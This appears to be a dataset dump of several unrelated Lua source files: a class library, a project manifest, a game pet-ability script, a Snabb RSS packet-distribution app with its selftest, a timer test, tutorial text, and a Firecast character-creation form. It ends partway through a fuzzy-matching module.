content
stringlengths 5
1.05M
|
|---|
class = {} -- Stores all classes by function, for creating their objects or deriving from them. Calls to a class ctor DONT take args. Change values with the setters/getters after localizing the object call. If you want to derive a class, just make a class like normal, but after you pass a table, pass it the class name second that you want to derive from.
local mt = {}
function class.new(tab,der)
local function new()
if der then
local obj = class[der]()
for k,v in pairs(tab) do
if type(v) ~= "function" then
obj["Set"..k] = function(val)
v = val
end
obj["Get"..k] = function()
return v
end
else
obj[k] = v
end
end
return obj
else
local s = {}
for k,v in pairs(tab) do
if type(v) ~= "function" then
s["Set"..k] = function(val)
v = val
end
s["Get"..k] = function()
return v
end
else
obj[k] = v
end
end
return s
end
end
-- let us be able to return the function for local class declarations as well as storing the Ctor to do a class lookup when creating an obj.
class[tab.Class] = new -- Overwrite previous class name table to store its Ctor.
return new
end
function mt.__index(self,k) -- When it cant find something it makes it a table on class' table, named after the initial call variables name and sets its metatable to class' metatable, so __call gets called immediately on it.
class[k] = {k}
setmetatable(class[k],mt)
return class[k]
end
function mt.__call(...)
-- 1st arg = __index table
-- 2nd arg = class table
-- 3rd arg = new table passed to the 2nd arg/class table.
-- 4th arg = table or class string lookup to derive from.
local args = {...}
-- Deriving:
if args[4] then
if type(args[4]) == "string" then
if class[args[4]] then
args[3].Class = args[1][1]
local obj = class.new(args[3],args[4])
return obj
else
class[args[4]] = nil
print("Attempt to derive from non-existant class: "..args[4].."\n")
return
end
elseif type(args[4]) == "function" then
args[3].Class = args[1][1]
local cls = args[4]().GetClass() -- Call the ctor, but just save its class so we can reuse new()'s derive section.
local obj = class.new(args[3],cls)
return obj
else
print("Derivative must be a string or a function.\n")
return
end
end
-- Creating an obj from the class:
if type(args[2]) == "string" then -- Let them pass a class name as string to return an obj when calling class table.
if class[args[2]] and type(class[args[2]]) == "function" then -- Its exists within class table.
local obj = class[args[2]]()
return obj
else
class[args[2]] = nil -- Cleanup, since our __index metamethod makes tables whenever class table gets touched.
print("Attempt to create object from non-existant class: "..args[2].."\n")
return
end
end
-- Creating a class:
if args[3] then -- Assume theyre creating a class
args[3].Class = args[1][1] -- Saved class name from __index table's initialization.
local obj = class.new(args[3])
return obj
end
end
setmetatable(class,mt)
-- Examples:
-- local Base =
-- class: Base {
-- X = 0,
-- Y = 0
-- }
-- class: Moving ({
-- XVel = 0,
-- YVel = 0
-- }, Base)
-- local Npc =
-- class: Npc ({
-- Dir = "Idle",
-- Speed = 1337,
-- JumpH = 256,
-- },"Moving")
-- local m = class("Npc")
-- m.SetX(100)
-- m.SetDir("Left")
-- m.SetYVel(123)
-- print(m.GetX(),m.GetDir(),m.GetYVel())
-- local n = Npc()
-- n.SetX(64)
-- n.SetY(64)
-- print(n.GetX())
-- print(n.GetY())
|
name = 'cool-test-project'
lua = '5.3.2'
dependencies = {
'lua == 5.3',
'chain == 1.0-1'
}
dev_dependencies = {
'mach >= 4.4-1',
'busted >= 2.0.rc11-0'
}
scripts = {
test = 'busted',
demo = [[lua -e "require 'src.test'(print)"]]
}
|
---------------------------------------------
-- Healing Ruby
---------------------------------------------
require("scripts/globals/monstertpmoves")
require("scripts/globals/settings")
require("scripts/globals/status")
require("scripts/globals/msg")
---------------------------------------------
function onAbilityCheck(player, target, ability)
return 0, 0
end
function onPetAbility(target, pet, skill)
local base = 14+target:getMainLvl()+skill:getTP()/12
if (pet:getMainLvl()>30) then
base = 44 + 3*(pet:getMainLvl()-30) + skill:getTP()/12 * (pet:getMainLvl()*0.075 - 1)
end
if (target:getHP()+base > target:getMaxHP()) then
base = target:getMaxHP() - target:getHP() --cap it
end
skill:setMsg(tpz.msg.basic.SELF_HEAL)
target:addHP(base)
return base
end
|
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.
module(..., package.seeall)
local packet = require("core.packet")
local lib = require("core.lib")
local counter = require("core.counter")
local siphash = require("lib.hash.siphash")
local metadata = require("apps.rss.metadata")
local pf = require("pf")
local ffi = require("ffi")
local rshift = bit.rshift
local receive, transmit = link.receive, link.transmit
local nreadable = link.nreadable
local free, clone = packet.free, packet.clone
local mdadd, mdget, mdcopy = metadata.add, metadata.get, metadata.copy
local transport_proto_p = {
-- TCP
[6] = true,
-- UDP
[17] = true,
-- SCTP
[132] = true
}
rss = {
config = {
default_class = { default = true },
classes = { default = {} },
remove_extension_headers = { default = true }
},
shm = {
rxpackets = { counter, 0},
rxdrops_filter = { counter, 0}
}
}
local class_config = {
name = { required = true },
filter = { required = true },
continue = { default = false }
}
local hash_info = {
-- IPv4
[0x0800] = {
addr_offset = 12,
addr_size = 8
},
-- IPv6
[0x86dd] = {
addr_offset = 8,
addr_size = 32
},
}
function rss:new (config)
local o = { classes = {},
links_configured = {},
queue = link.new("queue"),
rxpackets = 0,
rxdrops_filter = 0,
sync_timer = lib.throttle(1),
rm_ext_headers = config.remove_extension_headers
}
for _, info in pairs(hash_info) do
info.key_t = ffi.typeof([[
struct {
uint8_t addrs[$];
uint32_t ports;
uint8_t proto;
} __attribute__((packed))
]], info.addr_size)
info.key = info.key_t()
info.hash_fn =
siphash.make_hash({ size = ffi.sizeof(info.key),
key = siphash.random_sip_hash_key() })
end
local function add_class (name, match_fn, continue)
assert(name:match("%w+"), "Illegal class name: "..name)
table.insert(o.classes, {
name = name,
match_fn = match_fn,
continue = continue,
input = link.new(name),
output = { n = 0 }
})
end
local classes = { default = true }
for _, class in ipairs(config.classes) do
local config = lib.parse(class, class_config)
assert(not classes[config.name],
"Duplicate filter class: "..config.name)
classes[config.name] = true
add_class(config.name, pf.compile_filter(config.filter),
config.continue)
end
if config.default_class then
-- Catch-all default filter
add_class("default", function () return true end)
end
return setmetatable(o, { __index = self })
end
function rss:link ()
for name, l in pairs(self.output) do
if type(name) == "string" then
if not self.links_configured[name] then
self.links_configured[name] = true
local match = false
for _, class in ipairs(self.classes) do
local instance = name:match("^"..class.name.."_(.*)")
if instance then
match = true
local weight = instance:match("^%w+_(%d+)$") or 1
for _ = 1, weight do
table.insert(class.output, l)
end
-- Avoid calls to lj_tab_len() in distribute()
class.output.n = #class.output
end
end
if not match then
print("Ignoring link (does not match any filters): "..name)
end
end
end
end
self.classes_active = {}
for _, class in ipairs(self.classes) do
if #class.output > 0 then
table.insert(self.classes_active, class)
end
end
self.input_tagged = {}
for name, link in pairs(self.input) do
if type(name) == "string" then
local vlan = name:match("^vlan(%d+)$")
if vlan then
vlan = tonumber(vlan)
assert(vlan > 0 and vlan < 4095, "Illegal VLAN id: "..vlan)
end
table.insert(self.input_tagged, { link = link, vlan = vlan })
end
end
end
local function hash (md)
local info = hash_info[md.ethertype]
local hash = 0
if info then
ffi.copy(info.key.addrs, md.l3 + info.addr_offset, info.addr_size)
if transport_proto_p[md.proto] then
info.key.ports = ffi.cast("uint32_t *", md.l4)[0]
else
info.key.ports = 0
end
info.key.proto = md.proto
-- Our SipHash implementation produces only even numbers to satisfy some
-- ctable internals.
hash = rshift(info.hash_fn(info.key), 1)
end
md.hash = hash
end
local function distribute (p, links, hash)
-- This relies on the hash being a 16-bit value
local index = rshift(hash * links.n, 16) + 1
transmit(links[index], p)
end
function rss:push ()
local queue = self.queue
for _, input in ipairs(self.input_tagged) do
local link, vlan = input.link, input.vlan
local npackets = nreadable(link)
self.rxpackets = self.rxpackets + npackets
for _ = 1, npackets do
local p = receive(link)
hash(mdadd(p, self.rm_ext_headers, vlan))
transmit(queue, p)
end
end
for _, class in ipairs(self.classes_active) do
-- Apply the filter to all packets. If a packet matches, it is
-- put on the class' input queue. If the class is of type
-- "continue" or the packet doesn't match the filter, it is put
-- back onto the main queue for inspection by the next class.
for _ = 1, nreadable(queue) do
local p = receive(queue)
local md = mdget(p)
if class.match_fn(md.filter_start, md.filter_length) then
md.ref = md.ref + 1
transmit(class.input, p)
if class.continue then
transmit(queue, p)
end
else
transmit(queue, p)
end
end
end
for _ = 1, nreadable(queue) do
local p = receive(queue)
local md = mdget(p)
if md.ref == 0 then
self.rxdrops_filter = self.rxdrops_filter + 1
free(p)
end
end
for _, class in ipairs(self.classes_active) do
for _ = 1, nreadable(class.input) do
local p = receive(class.input)
local md = mdget(p)
if md.ref > 1 then
md.ref = md.ref - 1
distribute(mdcopy(p), class.output, md.hash)
else
distribute(p, class.output, md.hash)
end
end
end
if self.sync_timer() then
counter.set(self.shm.rxpackets, self.rxpackets)
counter.set(self.shm.rxdrops_filter, self.rxdrops_filter)
end
end
function selftest ()
local vlan_id = 123
local addr_ip = ffi.new("uint8_t[4]")
local addr_ip6 = ffi.new("uint8_t[16]")
local function random_ip(addr)
for i = 0, ffi.sizeof(addr) - 1 do
addr[i] = math.random(255)
end
return addr
end
local ext_hdr = ffi.new([[
struct {
uint8_t next_header;
uint8_t length;
uint8_t data[14];
} __attribute__((packed))
]])
local function push_ext_hdr(dgram, next_header)
local p = dgram:packet()
ext_hdr.next_header = next_header
ext_hdr.length = 1
local length = ffi.sizeof(ext_hdr)
p = packet.prepend(p, ext_hdr, length)
dgram:new(p)
return length
end
local Source = {}
function Source:new()
local o = {
eth = require("lib.protocol.ethernet"):new({}),
ip = require("lib.protocol.ipv4"):new({ protocol = 17 }),
ip6 = require("lib.protocol.ipv6"):new({ next_header = 17 }),
udp = require("lib.protocol.udp"):new({}),
dgram = require("lib.protocol.datagram"):new()
}
return setmetatable(o, {__index=Source})
end
function Source:random_packet()
local p = packet.allocate()
local payload_size = math.random(9000)
p.length = payload_size
self.dgram:new(p)
self.udp:src_port(math.random(2^16-1))
self.udp:dst_port(math.random(2^16-1))
self.dgram:push(self.udp)
if math.random() > 0.5 then
self.ip:src(random_ip(addr_ip))
self.ip:dst(random_ip(addr_ip))
self.ip:total_length(self.ip:sizeof() + self.udp:sizeof()
+ payload_size)
self.dgram:push(self.ip)
self.eth:type(0x0800)
else
local next_header = 17
local ext_hdr_size = 0
for _ = 1, math.ceil(math.random(3)) do
ext_hdr_size = ext_hdr_size
+ push_ext_hdr(self.dgram, next_header)
next_header = 0 -- Hop-by-hop header
end
self.ip6:payload_length(ext_hdr_size + self.udp:sizeof()
+ payload_size)
self.ip6:next_header(next_header)
self.ip6:src(random_ip(addr_ip6))
self.ip6:dst(random_ip(addr_ip6))
self.dgram:push(self.ip6)
self.eth:type(0x86dd)
end
self.dgram:push(self.eth)
return self.dgram:packet()
end
function Source:pull ()
for _, o in ipairs(self.output) do
for i = 1, engine.pull_npackets do
transmit(o, self:random_packet())
end
end
end
local Sink = {}
function Sink:new ()
return setmetatable({}, { __index = Sink })
end
function Sink:push ()
for _, i in ipairs(self.input) do
for _ = 1, link.nreadable(i) do
local p = receive(i)
local md = mdget(p)
assert(md.ethertype == 0x0800 or md.ethertype == 0x86dd,
md.ethertype)
assert(md.vlan == 0 or md.vlan == vlan_id)
local offset = md.vlan == 0 and 0 or 4
assert(md.filter_offset == offset, md.filter_offset)
assert(md.filter_start == p.data + offset)
assert(md.l3 == p.data + 14 + offset)
assert(md.total_length == p.length - 14 - offset)
assert(md.filter_length == p.length - offset)
if md.ethertype == 0x0800 then
assert(md.l4 == md.l3 + 20)
else
assert(md.l4 == md.l3 + 40)
end
assert(md.proto == 17)
assert(md.frag_offset == 0)
assert(md.length_delta == 0, md.length_delta)
packet.free(p)
end
end
end
local graph = config.new()
config.app(graph, "rss", rss, { classes = {
{ name = "ip",
filter = "ip",
continue = true },
{ name = "ip6",
filter = "ip6",
continue = true } } })
config.app(graph, "source1", Source)
config.app(graph, "source2", Source)
config.app(graph, "vlan", require("apps.vlan.vlan").Tagger,
{ tag = vlan_id })
config.link(graph, "source1.output -> rss.input_plain")
config.link(graph, "source2.output -> vlan.input")
config.link(graph, "vlan.output -> rss.input_vlan")
local sink_groups = {
{ name = "default", n = 4},
{ name = "ip", n = 4 },
{ name = "ip6", n = 4 },
}
for g, group in ipairs(sink_groups) do
for i = 1, group.n do
local sink_name = "sink"..g..i
config.app(graph, sink_name, Sink)
config.link(graph, "rss."..group.name.."_"..i
.." -> "..sink_name..".input")
end
end
engine.configure(graph)
engine.main({ duration = 2, report = { showlinks = true } })
local function pkts(name, dir)
local app = engine.app_table[name]
if dir == "out" then
return tonumber(counter.read(app.output.output.stats.rxpackets))
else
return tonumber(counter.read(app.input.input.stats.rxpackets))
end
end
local npackets = pkts("source1", "out") + pkts("source2", "out")
for g, group in ipairs(sink_groups) do
for i = 1, group.n do
local share = npackets/group.n
if group.name ~= "default" then
share = share/2
end
local sink_name = "sink"..g..i
local pkts = pkts(sink_name, "in")
local threshold = 0.05
local value = math.abs(1.0 - pkts/share)
if value >= threshold then
error(string.format("Unexpected traffic share on %s "
.."(expected %f, got %f)",
sink_name, threshold, value))
end
end
end
end
|
local uv = require 'couv'
local exports = {}
exports['timer'] = function(test)
local onceCbCalled = 0
function onceCb(handle)
print(string.format("ONCE_CB %d", onceCbCalled))
test.ok(handle)
test.ok(not handle:isActive())
onceCbCalled = onceCbCalled + 1
handle:close()
end
local repeat1CbCalled = 0
local repeat2CbCalled = 0
local repeat2CbAllowed = false
local startTime = uv.now()
local onceTimers = {}
-- Let 10 timers time out in 500 ms total.
for i = 1, 10 do
onceTimers[i] = uv.Timer.new()
onceTimers[i]:start(onceCb, i * 50, 0)
end
uv.run()
test.done()
end
return exports
|
TUTORIALS['en'][#TUTORIALS['en'] + 1] = {
name = "Console",
contents = {
{type = CONTENT_TYPES.IMAGE, value = "/images/tutorial/chat_window.png"},
{type = CONTENT_TYPES.TEXT, value = "1 - Chat Channels - Here you will find the communication channels to which you are connected\n\n2 - Message Box - At the bottom of the window you will find the space where you can type messages to send to the channels. After typing press \"Enter\" to send to the selected channel \n\n3 - WASD Mode - This small square can be used to enable or disable the WASD mode. When enabled, you can move your character using the \"W\", \"A\", \"S\" and \"D\" keys on your keyboard and need to press \"Enter\" each time you want to write a message." },
}
}
|
require("firecast.lua");
local __o_rrpgObjs = require("rrpgObjs.lua");
require("rrpgGUI.lua");
require("rrpgDialogs.lua");
require("rrpgLFM.lua");
require("ndb.lua");
require("locale.lua");
local __o_Utils = require("utils.lua");
local function constructNew_frmNovoPersonagem()
local obj = GUI.fromHandle(_obj_newObject("popupForm"));
local self = obj;
local sheet = nil;
rawset(obj, "_oldSetNodeObjectFunction", rawget(obj, "setNodeObject"));
function obj:setNodeObject(nodeObject)
sheet = nodeObject;
self.sheet = nodeObject;
self:_oldSetNodeObjectFunction(nodeObject);
end;
function obj:setNodeDatabase(nodeObject)
self:setNodeObject(nodeObject);
end;
_gui_assignInitialParentForForm(obj.handle);
obj:beginUpdate();
obj:setName("frmNovoPersonagem");
obj:setTitle("Criar Personagem");
obj:setWidth(300);
obj:setHeight(385);
obj:setCancelable(false);
require("rrpgRequests.lua");
local function saveStateToNodeDatabase()
if sheet then
if self.rdbJogador.checked then
sheet.personagemDo = "jogador";
else
sheet.personagemDo = "npc";
end;
if self.rdbTodos.checked then
sheet.quemPodeVer = "todos";
else
sheet.quemPodeVer = "apenasMestre";
end;
sheet.lastDataType = self.cmbTemplate.value;
end;
end;
local function criarPersonagem()
if self._estaAguardandoResposta then
return;
end;
local nomePersonagem = self.edtNome.text or "";
local dataType = self.cmbTemplate.value or "";
local loginDono = self.cmbJogador.value or "";
if nomePersonagem == "" then
showMessage("Preencha o nome do personagem", function() self.edtNome:setFocus(); end);
return false;
end;
if dataType == "" then
showMessage("Selecione um layout de ficha", function() self.cmbTemplate:setFocus(); self.cmbTemplate:dropDown(); end);
return false;
end;
if self.rdbJogador.checked and (loginDono == "") then
showMessage("Selecione um jogador da lista ou opte por criar um personagem NPC", function() self.cmbJogador:setFocus(); self.cmbJogador:dropDown(); end);
return false;
end;
saveStateToNodeDatabase();
Firecast.Requests.criarPersonagem(self._bibMae, nomePersonagem, dataType, self.rdbTodos.checked, self._mesa:findJogador(loginDono),
function()
self._estaAguardandoResposta = false;
self:unlockWithActivity();
self:close();
end,
function(err)
self._estaAguardandoResposta = false;
self:unlockWithActivity();
showMessage("Não foi possível criar o personagem: " .. (err or ""));
end);
self._estaAguardandoResposta = true;
self:lockWithActivity("Criando personagem");
end;
local function carregarComboDeJogadores()
local mesa = self._mesa;
local jogadoresStrings = {};
self.cmbJogador.values = {};
if mesa ~= nil then
local jogadores = mesa.jogadores;
for i = 1, #jogadores, 1 do
local jogador = jogadores[i];
jogadoresStrings[#jogadoresStrings + 1] = jogador.login;
end;
end;
Utils.sortPtBrArray(jogadoresStrings);
self.cmbJogador.items = jogadoresStrings;
end;
local function carregarComboDeTemplates()
local dts = Firecast.Plugins.getInstalledDataTypes();
local dtsToShow = {};
for i = 1, #dts, 1 do
local dt = dts[i];
if dt.formType == "sheetTemplate" then
dtsToShow[#dtsToShow + 1] = dt;
end;
end;
table.sort(dtsToShow, function (esquerda, direita)
return Utils.compareStringPtBr(esquerda.title, direita.title) < 0;
end);
local titles = {};
local values = {};
for i = 1, #dtsToShow, 1 do
titles[i] = string.gsub(dtsToShow[i].title, "&", "n");
values[i] = dtsToShow[i].dataType;
end;
self.cmbTemplate.items = titles;
self.cmbTemplate.values = values;
end;
local function configurarNodeDatabase()
local node = NDB.load("config.xml");
if type(node.novoPersonagem) ~= "table" then
node.novoPersonagem = {};
end;
node = node.novoPersonagem;
node.personagemDo = node.personagemDo or "npc";
node.quemPodeVer = node.quemPodeVer or "soMestre";
self._configNode = node;
if node.personagemDo == "jogador" then
self.rdbJogador.checked = true;
else
self.rdbNPC.checked = true;
end;
if node.quemPodeVer == "todos" then
self.rdbTodos.checked = true;
else
self.rdbSoMestre.checked = true;
end;
if node.lastDataType ~= nil then
self.cmbTemplate.value = node.lastDataType;
end;
if self.cmbTemplate.value == nil or self.cmbTemplate.value == "" then
local templateValues = self.cmbTemplate.values;
if #templateValues > 0 then
self.cmbTemplate.value = templateValues[1];
end;
end;
self:setNodeObject(node);
end;
local function processarRequisicaoDeCancelamento()
if not self._estaAguardandoResposta then
local temAlgoPreenchido = (self.edtNome.text ~= '') or (self.rdbJogador.checked and self.cmbJogador.text ~= '');
if temAlgoPreenchido then
Dialogs.confirmYesNo('Deseja realmente cancelar a criação do personagem?',
function (confirmado)
if confirmado then
self:close();
end
end);
else
self:close();
end;
end;
end;
obj.label1 = GUI.fromHandle(_obj_newObject("label"));
obj.label1:setParent(obj);
obj.label1:setText("Novo Personagem");
obj.label1:setName("label1");
obj.label1:setFontSize(15);
obj.label1:setFontColor("#FFCC66");
obj.label1:setMargins({left=4, right=4, top=3, bottom=3});
obj.label1:setHorzTextAlign("leading");
obj.label1:setAlign("top");
obj.label1:setAutoSize(true);
obj.scrollBox1 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox1:setParent(obj);
obj.scrollBox1:setName("scrollBox1");
obj.scrollBox1:setAlign("client");
obj.scrollBox1:setMargins({left=12, right=12, top=1, bottom=5});
obj.flowLayout1 = GUI.fromHandle(_obj_newObject("flowLayout"));
obj.flowLayout1:setParent(obj.scrollBox1);
obj.flowLayout1:setAlign("top");
obj.flowLayout1:setMargins({left=10, right=10, top=5, bottom=5});
obj.flowLayout1:setAutoHeight(true);
obj.flowLayout1:setMaxControlsPerLine(1);
obj.flowLayout1:setName("flowLayout1");
obj.label2 = GUI.fromHandle(_obj_newObject("label"));
obj.label2:setParent(obj.flowLayout1);
obj.label2:setText("Nome do Personagem:");
obj.label2:setName("label2");
obj.label2:setAutoSize(true);
obj.label2:setWordWrap(false);
obj.label2:setMargins({top=10, bottom=2});
obj.edtNome = GUI.fromHandle(_obj_newObject("edit"));
obj.edtNome:setParent(obj.flowLayout1);
obj.edtNome:setName("edtNome");
obj.edtNome:setEnterKeyType("done");
obj.edtNome:setWidth(250);
obj.label3 = GUI.fromHandle(_obj_newObject("label"));
obj.label3:setParent(obj.flowLayout1);
obj.label3:setText("Layout da ficha:");
obj.label3:setName("label3");
obj.label3:setAutoSize(true);
obj.label3:setWordWrap(false);
obj.label3:setMargins({top=10, bottom=2});
obj.cmbTemplate = GUI.fromHandle(_obj_newObject("comboBox"));
obj.cmbTemplate:setParent(obj.flowLayout1);
obj.cmbTemplate:setName("cmbTemplate");
obj.cmbTemplate:setWidth(250);
obj.label4 = GUI.fromHandle(_obj_newObject("label"));
obj.label4:setParent(obj.flowLayout1);
obj.label4:setText("Este será um personagem:");
obj.label4:setName("label4");
obj.label4:setAutoSize(true);
obj.label4:setWordWrap(false);
obj.label4:setMargins({top=10, bottom=2});
obj.flowLayout2 = GUI.fromHandle(_obj_newObject("flowLayout"));
obj.flowLayout2:setParent(obj.flowLayout1);
obj.flowLayout2:setHeight(40);
obj.flowLayout2:setMinWidth(150);
obj.flowLayout2:setMaxWidth(600);
obj.flowLayout2:setAutoHeight(true);
obj.flowLayout2:setName("flowLayout2");
obj.rdbNPC = GUI.fromHandle(_obj_newObject("radioButton"));
obj.rdbNPC:setParent(obj.flowLayout2);
obj.rdbNPC:setName("rdbNPC");
obj.rdbNPC:setGroupName("personagemDo");
obj.rdbNPC:setText("NPC");
obj.rdbNPC:setHeight(26);
obj.flowLineBreak1 = GUI.fromHandle(_obj_newObject("flowLineBreak"));
obj.flowLineBreak1:setParent(obj.flowLayout2);
obj.flowLineBreak1:setName("flowLineBreak1");
obj.rdbJogador = GUI.fromHandle(_obj_newObject("radioButton"));
obj.rdbJogador:setParent(obj.flowLayout2);
obj.rdbJogador:setName("rdbJogador");
obj.rdbJogador:setGroupName("personagemDo");
obj.rdbJogador:setText("Do jogador:");
obj.rdbJogador:setWidth(100);
obj.rdbJogador:setHeight(26);
obj.cmbJogador = GUI.fromHandle(_obj_newObject("comboBox"));
obj.cmbJogador:setParent(obj.flowLayout2);
obj.cmbJogador:setName("cmbJogador");
obj.cmbJogador:setWidth(148);
obj.label5 = GUI.fromHandle(_obj_newObject("label"));
obj.label5:setParent(obj.flowLayout1);
obj.label5:setText("Quem poderá ver este personagem?");
obj.label5:setName("label5");
obj.label5:setAutoSize(true);
obj.label5:setWordWrap(false);
obj.label5:setMargins({top=10, bottom=2});
obj.flowLayout3 = GUI.fromHandle(_obj_newObject("flowLayout"));
obj.flowLayout3:setParent(obj.flowLayout1);
obj.flowLayout3:setHeight(40);
obj.flowLayout3:setMinWidth(150);
obj.flowLayout3:setMaxWidth(600);
obj.flowLayout3:setAutoHeight(true);
obj.flowLayout3:setName("flowLayout3");
obj.rdbSoMestre = GUI.fromHandle(_obj_newObject("radioButton"));
obj.rdbSoMestre:setParent(obj.flowLayout3);
obj.rdbSoMestre:setName("rdbSoMestre");
obj.rdbSoMestre:setGroupName("QuemPodeVerPersonagem");
obj.rdbSoMestre:setText("Somente o mestre");
obj.rdbSoMestre:setWidth(200);
obj.rdbSoMestre:setHeight(26);
obj.flowLineBreak2 = GUI.fromHandle(_obj_newObject("flowLineBreak"));
obj.flowLineBreak2:setParent(obj.flowLayout3);
obj.flowLineBreak2:setName("flowLineBreak2");
obj.rdbTodos = GUI.fromHandle(_obj_newObject("radioButton"));
obj.rdbTodos:setParent(obj.flowLayout3);
obj.rdbTodos:setName("rdbTodos");
obj.rdbTodos:setGroupName("QuemPodeVerPersonagem");
obj.rdbTodos:setText("Todos da mesa");
obj.rdbTodos:setWidth(200);
obj.rdbTodos:setHeight(26);
obj.layout1 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout1:setParent(obj);
obj.layout1:setName("layout1");
obj.layout1:setAlign("bottom");
obj.layout1:setMargins({top=2, bottom=2});
obj.layout1:setHeight(40);
obj.button1 = GUI.fromHandle(_obj_newObject("button"));
obj.button1:setParent(obj.layout1);
obj.button1:setText("Criar");
obj.button1:setWidth(100);
obj.button1:setHorzTextAlign("center");
obj.button1:setAlign("right");
obj.button1:setName("button1");
obj.button1:setMargins({left=4, right=4});
obj.button2 = GUI.fromHandle(_obj_newObject("button"));
obj.button2:setParent(obj.layout1);
obj.button2:setText("Cancelar");
obj.button2:setHorzTextAlign("center");
obj.button2:setAlign("right");
obj.button2:setName("button2");
obj.button2:setWidth(100);
obj.button2:setMargins({left=4, right=4});
obj._e_event0 = obj:addEventListener("onShow",
function (_)
carregarComboDeJogadores();
carregarComboDeTemplates();
configurarNodeDatabase();
end, obj);
obj._e_event1 = obj:addEventListener("onCancelRequest",
function (_)
processarRequisicaoDeCancelamento();
end, obj);
obj._e_event2 = obj.edtNome:addEventListener("onKeyDown",
function (_, event)
if event.keyCode == 13 then criarPersonagem(); end;
end, obj);
obj._e_event3 = obj.cmbJogador:addEventListener("onChange",
function (_)
if self.cmbJogador.text ~= "" then
self.rdbJogador.checked = true;
end;
end, obj);
obj._e_event4 = obj.button1:addEventListener("onClick",
function (_)
criarPersonagem();
end, obj);
obj._e_event5 = obj.button2:addEventListener("onClick",
function (_)
processarRequisicaoDeCancelamento();
end, obj);
function obj:_releaseEvents()
__o_rrpgObjs.removeEventListenerById(self._e_event5);
__o_rrpgObjs.removeEventListenerById(self._e_event4);
__o_rrpgObjs.removeEventListenerById(self._e_event3);
__o_rrpgObjs.removeEventListenerById(self._e_event2);
__o_rrpgObjs.removeEventListenerById(self._e_event1);
__o_rrpgObjs.removeEventListenerById(self._e_event0);
end;
obj._oldLFMDestroy = obj.destroy;
function obj:destroy()
self:_releaseEvents();
if (self.handle ~= 0) and (self.setNodeDatabase ~= nil) then
self:setNodeDatabase(nil);
end;
if self.flowLayout1 ~= nil then self.flowLayout1:destroy(); self.flowLayout1 = nil; end;
if self.edtNome ~= nil then self.edtNome:destroy(); self.edtNome = nil; end;
if self.label5 ~= nil then self.label5:destroy(); self.label5 = nil; end;
if self.button1 ~= nil then self.button1:destroy(); self.button1 = nil; end;
if self.label1 ~= nil then self.label1:destroy(); self.label1 = nil; end;
if self.cmbJogador ~= nil then self.cmbJogador:destroy(); self.cmbJogador = nil; end;
if self.label3 ~= nil then self.label3:destroy(); self.label3 = nil; end;
if self.label4 ~= nil then self.label4:destroy(); self.label4 = nil; end;
if self.button2 ~= nil then self.button2:destroy(); self.button2 = nil; end;
if self.rdbNPC ~= nil then self.rdbNPC:destroy(); self.rdbNPC = nil; end;
if self.flowLayout2 ~= nil then self.flowLayout2:destroy(); self.flowLayout2 = nil; end;
if self.cmbTemplate ~= nil then self.cmbTemplate:destroy(); self.cmbTemplate = nil; end;
if self.flowLayout3 ~= nil then self.flowLayout3:destroy(); self.flowLayout3 = nil; end;
if self.rdbSoMestre ~= nil then self.rdbSoMestre:destroy(); self.rdbSoMestre = nil; end;
if self.rdbJogador ~= nil then self.rdbJogador:destroy(); self.rdbJogador = nil; end;
if self.scrollBox1 ~= nil then self.scrollBox1:destroy(); self.scrollBox1 = nil; end;
if self.flowLineBreak2 ~= nil then self.flowLineBreak2:destroy(); self.flowLineBreak2 = nil; end;
if self.flowLineBreak1 ~= nil then self.flowLineBreak1:destroy(); self.flowLineBreak1 = nil; end;
if self.rdbTodos ~= nil then self.rdbTodos:destroy(); self.rdbTodos = nil; end;
if self.layout1 ~= nil then self.layout1:destroy(); self.layout1 = nil; end;
if self.label2 ~= nil then self.label2:destroy(); self.label2 = nil; end;
self:_oldLFMDestroy();
end;
obj:endUpdate();
return obj;
end;
function newfrmNovoPersonagem()
local retObj = nil;
__o_rrpgObjs.beginObjectsLoading();
__o_Utils.tryFinally(
function()
retObj = constructNew_frmNovoPersonagem();
end,
function()
__o_rrpgObjs.endObjectsLoading();
end);
assert(retObj ~= nil);
return retObj;
end;
local _frmNovoPersonagem = {
newEditor = newfrmNovoPersonagem,
new = newfrmNovoPersonagem,
name = "frmNovoPersonagem",
dataType = "",
formType = "undefined",
formComponentName = "popupForm",
title = "Criar Personagem",
description=""};
frmNovoPersonagem = _frmNovoPersonagem;
Firecast.registrarForm(_frmNovoPersonagem);
return _frmNovoPersonagem;
|
local ff = {}
-- from https://github.com/rrthomas/lua-stdlib/blob/origin/src/lcs.lua
--- Longest Common Subsequence algorithm.
-- After pseudo-code in <a
-- href="http://www.ics.uci.edu/~eppstein/161/960229.html">lecture
-- notes</a> by <a href="mailto:eppstein@ics.uci.edu">David Eppstein</a>.
-- Find common subsequences.
-- @param a first sequence
-- @param b second sequence
-- @return list of common subsequences
-- @return the length of a
-- @return the length of b
local function commonSubseqs (a, b)
local l, m, n = {}, #a, #b
for i = m + 1, 1, -1 do
l[i] = {}
for j = n + 1, 1, -1 do
if i > m or j > n then
l[i][j] = 0
elseif a[i] == b[j] then
l[i][j] = 1 + l[i + 1][j + 1]
else
l[i][j] = math.max (l[i + 1][j], l[i][j + 1])
end
end
end
return l, m, n
end
--- Find the longest common subsequence of two sequences.
-- The sequence objects must have an <code>__append</code> metamethod.
-- This is provided by <code>string_ext</code> for strings, and by
-- <code>list</code> for lists.
-- @param a first sequence
-- @param b second sequence
-- @param s an empty sequence of the same type, to hold the result
-- @return the LCS of a and b
local function longestCommonSubseq (a, b, s)
local l, m, n = commonSubseqs (a, b)
local i, j = 1, 1
-- local f = getmetatable (s).__append
while i <= m and j <= n do
if a[i] == b[j] then
table.insert(s, a[i])
i = i + 1
j = j + 1
elseif l[i + 1][j] >= l[i][j + 1] then
i = i + 1
else
j = j + 1
end
end
return s
end
-- return a set of sequences which are fuzzy matched with "s"
-- from "set"
-- if "must" is not nil, at least return one (best matched)
-- otherwise, it might return empty
function ff.find(s, set, must)
local result = {}
local bestMatched = {}
bestMatched.count = 0
bestMatched.s = nil
for i, v in ipairs(set) do
local r = longestCommonSubseq(s, v, {})
if ff.sequenceEqual(r,s) then
table.insert(result, v)
end
if #r > bestMatched.count and must then
bestMatched.s = v
bestMatched.count = #r
end
end
-- at least one sequence matched
if #result == 0 and must then
table.insert(result, bestMatched.s)
end
return result
end
function ff.stringToSequence(s)
return {string.byte(s, 1, #s)}
end
function ff.sequenceToString(s)
return string.char(unpack(s))
end
function ff.stringSetToSequenceSet(s)
local set = {}
for _, v in ipairs(s) do
